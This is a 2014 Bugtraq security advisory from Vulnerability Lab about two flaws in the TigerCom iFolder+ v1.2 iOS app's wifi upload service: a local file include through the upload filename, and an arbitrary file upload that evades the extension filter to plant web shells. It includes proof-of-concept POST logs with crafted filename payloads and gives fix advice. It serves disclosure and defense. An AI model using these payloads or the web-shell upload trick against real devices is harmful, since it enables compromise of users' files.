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List: bugtraq
Subject: TigerCom iFolder+ v1.2 iOS - Multiple Vulnerabilities
From: Vulnerability Lab <research () vulnerability-lab ! com>
Date: 2014-07-31 11:44:37
Message-ID: 53DA2C25.1010902 () vulnerability-lab ! com
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Document Title:
===============
TigerCom iFolder+ v1.2 iOS - Multiple Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1284
Release Date:
=============
2014-07-30
Vulnerability Laboratory ID (VL-ID):
====================================
1284
Common Vulnerability Scoring System:
====================================
7.4
Product & Service Introduction:
===============================
iFolder+, Belong to yourself is a mobile application coded by TigerCom. The \
application allows to communicate and share information or files in the wifi \
network. The app is uncommercial and can be downloaded through the apple itunes shop \
or app-store.
- Safty
- Intelligent encryption, protect the folder
- No Internet connection to prevent the documents stolen
- Password protected, locked the document
- Wireless transmission
- Using Wifi, you can share files between iphone, ipad and computer
- Current open folder sharing, better protect your privacy
- Private photos/videos/documents
- Import photos and videos from album
- Export photos and videos to your album
- Open camera, store photos and recording video
- Photos and videos preview
- Photos and video high fidelity storage
- Photo browsing, support for gestures to zoom
- video playing, perfect playback experience
- Support PDF, TXT documents directly browsing
- Photo folder, Video folder, Documents folder, easily classified
- Support Wifi Import and Export
- Private accounts/contacts
- Account protection, add a variety of accounts
( Copy of the Homepage: https://itunes.apple.com/de/app/ifolder+/id622423906 )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities in the \
official TigerCom iFolder+ v1.2 iOS mobile application.
Vulnerability Disclosure Timeline:
==================================
2014-07-30: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
TigerCom
Product: iFolder+ - iOS Mobile Web Application 1.2
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official TigerCom \
iFolder+ v1.2 iOS mobile web-application. The local file include web vulnerability \
allows remote attackers to unauthorized include local file/path requests or system \
specific path commands to compromise the mobile web-application.
The web vulnerability is located in the `filename` value of the `uploadfile` module. \
Remote attackers are able to inject own files with malicious `filename` values in \
the `uploadfile` POST method request to compromise the mobile web-application. The \
local file/path include execution occcurs in the index `folder list` context next to \
the vulnerable filename value. The attacker is able to inject the local file request \
by usage of the available `wifi interface` for file or folder exchange/share.
Remote attackers are also able to exploit the filename validation issue in \
combination with persistent injected script codes to execute different local \
malicious attacks requests. The attack vector is on the application-side of the wifi \
service and the request method to inject is POST.
The security risk of the local file include web vulnerability is estimated as high \
with a cvss (common vulnerability scoring system) count of 7.3. Exploitation of the \
local file include web vulnerability requires no privileged web-application user \
account or user interaction. Successful exploitation of the local file include web \
vulnerability results in mobile application or connected device component compromise.
Request Method(s):
[+] [POST]
Vulnerable Service(s):
[+] iFolder+ v1.2
Vulnerable Module(s):
[+] uploadfile
Vulnerable Parameter(s):
[+] filename
Affected Module(s):
[+] Index Folder Dir Listing (http://localhost:8080/)
1.2
An arbitrary file upload web vulnerability has been discovered in the official \
TigerCom iFolder+ v1.2 iOS mobile web-application. The arbitrary file upload issue \
allows remote attackers to upload files with multiple extensions to bypass the \
web-server or system validation.
The vulnerability is located in the `uploadfile` module. Remote attackers are able to \
upload a php or js web-shells by renaming the file with multiple extensions to \
bypass the file restriction mechanism. The attacker uploads for example a web-shell \
with the following name and extension `image.jpg.gif.js.php.jpg`. After the upload \
the attacker needs to open the file in the web application. He deletes the .jpg & . \
gif file extension and can access the application file with elevated access rights.
The security risk of the arbitrary file upload web vulnerability is estimated as high \
with a cvss (common vulnerability scoring system) count of 7.4. Exploitation of the \
arbitrary file upload web vulnerability requires no user interaction or privilege \
application user account with password. Successful exploitation of the vulnerability \
results in unauthorized file access because of a compromise after the upload of \
web-shells.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] uploadfile
Vulnerable Parameter(s):
[+] filename (multiple extensions)
Affected Module(s):
[+] Index Folder Dir Listing (http://localhost:8080/)
Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by local attackers without \
privileged application user account or user interaction. For security demonstration \
or to reproduce the security vulnerability follow the provided information and steps \
below to continue.
PoC: Index File Dir Listing (http://localhost:8080)
<a href="/<./[LOCAL FILE INCLUDE VULNERABILITY!].png" target="_blank"> <./[LOCAL FILE \
INCLUDE VULNERABILITY!].png </a></td></tr></table></div></body>
</html></iframe></a>
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:8080/uploadfile Load Flags[LOAD_DOCUMENT_URI \
LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[-1] Mime \
Type[application/x-unknown-content-type] Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 \
Firefox/30.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:8080/]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------165081174024576
Content-Disposition: form-data; name="upload1"; filename="./[LOCAL FILE INCLUDE \
VULNERABILITY!].*"
Content-Type: image/png
Status: 200[OK]
GET http://localhost:8080/./[LOCAL FILE INCLUDE VULNERABILITY!].* Load \
Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[0] Mime \
Type[application/x-unknown-content-type] Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 \
Firefox/30.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:8080/uploadfile]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[0]
Date[Tue, 29 Jul 2014 14:32:09 GMT]
Reference(s):
http://localhost:8080/
http://localhost:8080/uploadfile
1.2
The arbitrary file upload web vulnerability can be exploited by local attackers \
without privileged application user account or user interaction. For security \
demonstration or to reproduce the security vulnerability follow the provided \
information and steps below to continue.
Standard Link to View and Download:
http://localhost:8080/[x].png
PoC: 200[OK] GET
http://localhost:8080/[ARBITRARY FILE UPLOAD VULNERABILITY!].png.jpg.php.js.html
http://localhost:8080/[ARBITRARY FILE UPLOAD VULNERABILITY!].png.jpg.php
--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://localhost:8080/uploadfile Load Flags[LOAD_DOCUMENT_URI \
LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[-1] Mime \
Type[application/x-unknown-content-type] Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 \
Firefox/30.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:8080/]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------253371365330237
Content-Disposition: form-data; name="upload1"; filename="[ARBITRARY FILE UPLOAD \
VULNERABILITY!].png.jpg.php.js.html.jpg.png"
Content-Type: image/png
Status: 200[OK]
GET http://localhost:8080/[ARBITRARY FILE UPLOAD \
VULNERABILITY!].png.jpg.php.js.html.jpg.png Load Flags[LOAD_DOCUMENT_URI ] Größe des \
Inhalts[0] Mime Type[application/x-unknown-content-type] Request Header:
Host[localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:30.0) Gecko/20100101 \
Firefox/30.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:8080/uploadfile]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[0]
Reference(s):
http://localhost:8080/
http://localhost:8080/uploadfile
Solution - Fix & Patch:
=======================
1.1
The file inlcude vulnerability can be patched by a secure parse and encode of the \
filename value in the upload file POSt method request.
1.2
The arbitrary file upload issue can be fixed by a secure restriction and filter \
procedure in the filename type validation mechanism. Restrict the input and check for \
extentions to prevent arbitrary file upload with further exploitation.
Security Risk:
==============
1.1
The security risk of the local file include web vulnerability is estimated as high.
1.2
The security risk of the arbitrary file upload web vulnerability is estimated as \
critical.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri \
(bkm@evolution-sec.com) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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